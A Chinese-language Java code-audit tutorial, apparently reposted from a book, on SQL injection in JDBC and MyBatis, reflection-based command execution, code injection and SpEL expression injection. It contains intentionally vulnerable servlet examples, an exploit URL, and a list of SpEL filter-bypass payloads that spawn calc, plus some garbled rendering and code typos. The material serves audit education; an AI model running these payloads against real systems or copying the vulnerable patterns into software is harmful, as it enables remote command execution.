JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。两个方法的区别在于PrepareStatement会对SQL语句进行预编译,而Statement方法在每次执行时都需要编译,会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好,但并不意味着使用PrepareStatement就绝对安全,不会产生SQL注入
PrepareStatement方法支持使用‘?’对变量位进行占位,在预编译阶段填入相应的值构造出完整的SQL语句,此时可以避免SQL注入的产生。但开发者有时为了便利,会直接采取拼接的方式构造SQL语句,此时进行预编译则无法阻止SQL注入的产生。如以下代码所示,PrepareStatement虽然进行了预编译,但在以拼接方式构造SQL语句的情况下仍然会产生SQL注入。代码示例如下(若使用“or 1=1”,仍可判断出这段程序存在SQL注入)
String sql = "select * from user where id =" + req.getParameter("id");
out.println(sql);
try{
PreparedStatement pstt = con.prepareStatement(sql);
ResultSet re = pstt.executeQuery();
while(rs.next()){
out.println("
id:"+rs.getObject("id"));
out.println("
name:"+re.getObject("name"));
}
catch(SQLException throwables){
throwables.printStackTrace();
}
}
正确地使用PrepareStatement可以有效避免SQL注入的产生,使用“?”作为占位符时,填入对应字段的值会进行严格的类型检查。将前面的“拼接构造SQL语句”改为如下“使用占位符构造SQL语句”的代码片段,即可有效避免SQL注入的产生
PrintWriter out = resp.getWriter();
String sql = "select * from user where id = ?"
out.println(sql);
try{
PreparedStatement pstt = con.prepareStatement(sql);
pstt.setInt(1,Integer.parseInt(req.getParameter("id")));
ResultSet rs = pstt.executeQuery();
....
}
如今的Java项目或多或少会使用对JDBC进行更抽象封装的持久化框架,如MyBatis和Hibernate。通常,框架底层已经实现了对SQL注入的防御,但在研发人员未能恰当使用框架的情况下,仍然可能存在SQL注入的风险
Mybatis框架
MyBatis框架的思想是将SQL语句编入配置文件中,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改与配置
MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}和${Parameter}两种方式
使用#{Parameter}构造SQL的代码如下所示
<select id="getUsername" resultType="com.ocean">
select id,name,age from user where name #{
name}
<select>
从Debug回显的SQL语句执行过程可以看出,使用#{Parameter}方式会使用“?”占位进行预编译,因此不存在SQL注入的问题。用户可以尝试构造“name”值为“z1ng or 1=1”进行验证。回显如下,由于程序未查询到结果出现了空指针异常,因此此时不存在SQL注入
使用${Parameter}构造SQL的代码如下所示
<select id = "getUsername" resultType = "com.ocean">
select id,name,age from user where name = ${
name}
<select>
“name”值被拼接进SQL语句之中,因此此时存在SQL注入
${Parameter}采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处很可能存在SQL注入
Hibernate
Hibernate是一种ORM框架,全称为 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)规范的一种实现方式。Hibernate 将Java 类映射到数据库表中,从 Java 数据类型映射到 SQL 数据类型。Hibernate是目前主流的Java数据库持久化框架,采用Hibernate查询语言(HQL)注入
HQL的语法与SQL类似,受语法的影响,HQL注入在实际漏洞利用上具有一定的限制
利用 Java 的反射机制,可以无视类方法、变量访问权限修饰符,调用任何类的任意方法、访问并修改成员变量值
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));
但是Runtime为单例模式,在其生命周期内只能有一个对象,因此以上代码是无法生效的,正确如下
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");
这段payload可以拆分为以下代码
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec",String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exe");
Java中的Rce, 常见的可执行函数如:Runtime.getRuntime().exec(),在审计的时候也要看Process、ProcessBuilder.start()
可能出现的环境
由不安全的输入造成的反射命令执行Demo
代码对于传入的类、传入的类方法、传入类的参数没有做任何限制
@WebServlet("/Rce")
public class Rce extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
PrintWriter printWriter = resp.getWriter();
// 接收参数
String name = req.getParameter("command");
String method = req.getParameter("method");
String str = req.getParameter("str");
try {
// 获取类的无参数构造方法
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
// 实例化类
Object getInstance = constructor.newInstance();
// 获取类方法
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
// 调用类方法
Object mes = getCommandMethod.invoke(getInstance, str);
printWriter.append("即将执行命令");
printWriter.append((Character) mes);
printWriter.flush();
} catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
可以看到代码中存在反射调用,当调用不安全类时,会造成命令执行
http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc
Java的Runtime类可以提供调用系统命令的功能
protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{
String cmd = req.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int i = -1;
while((i=in.read(b))!=-1){
byteArrayOutputStream.write(b,0,i);
}
PrintWriter out = resp.getWriter();
out.print(new String(byteArrayOutputStream.toByteArray()));
}
系统命令连接符有 |、||、&、&&
注意:Java环境下的命令执行,& 作为字符拼接,不能命令执行
例:Process process = Runtime.getRuntime().exec("ping" + url)
Runtime 类中的 exec 方法,要执行的命令可以通过字符串和数组的方式传入,当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令
产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行
由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能
String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{
req.getParameter("Args").toString()};
try{
Class clazz = Class.forName(ClassName);
Constructor constructor = clazz.getConstructor(String[].class);
Object obj = constructor.newInstance(new Object[]{
Args});
Method method = clazz.getMethod(MethodName);
method.invoke(obj);
}
......
代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式
具体步骤如下:
首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc
import Java.io.BufferedReader;
import Java.io.InputStreamReader;
public class Evil{
public static void Exec(String args) throws Exception{
Process proc = Runtime.getRuntime().exec(args);
}
}
在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失
表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作
EL基础语法
在JSP中,用户可以使用 来 表 示 此 处 为 E L 表 达 式 , 例 如 , 表 达 式 ” {}来表示此处为EL表达式,例如,表达式” 来表示此处为EL表达式,例如,表达式”{ name }”表示获取“name”变量
EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令
Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中
特性:
基础
Spel 定界符
Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等
#{} 和 ${} 的区别:
#{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行
${} 主要用于加载外部属性文件中的值
两者可以混合使用,但是必须 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#̲{'()’},注意单引号是字符串类型才添加的,如#{’ocean’},#{2222 }
漏洞触发
ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器
Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串
String message = (String) exp.getValue();//getValue方法执行表达式
如果表达式字符串是可控的,那么可能就存在命令执行漏洞
在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量
Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串
括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
payload构造
Fuzz
Expression exp = parser.parseExpression("''.class");
Expression exp = parser.parseExpression("\"\".class");
bypass payload
反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况
T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{
"cmd","/C","calc"})
当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{
99,97,108,99})).start()
当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
等于T(java.lang.Runtime).getRuntime.exec('calc')
JavaScript引擎通用poc
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);")
当T(getClass())被过滤时
''.class.forName('java.lang.Runtime')
new String('s').class.forName('java.lang.Runtime')
实例UNctf-goodjava
https://evoa.me/archives/14/#GoodJava
OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言
功能:
webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多
FreeMarker模板注入
文章大部分转载于Java代码审计入门篇一书
https://weread.qq.com/web/reader/c8732a70726fa058c87154b
更多文章:https://mp.weixin.qq.com/s/lwpeuei58smGbAlezo1IwQ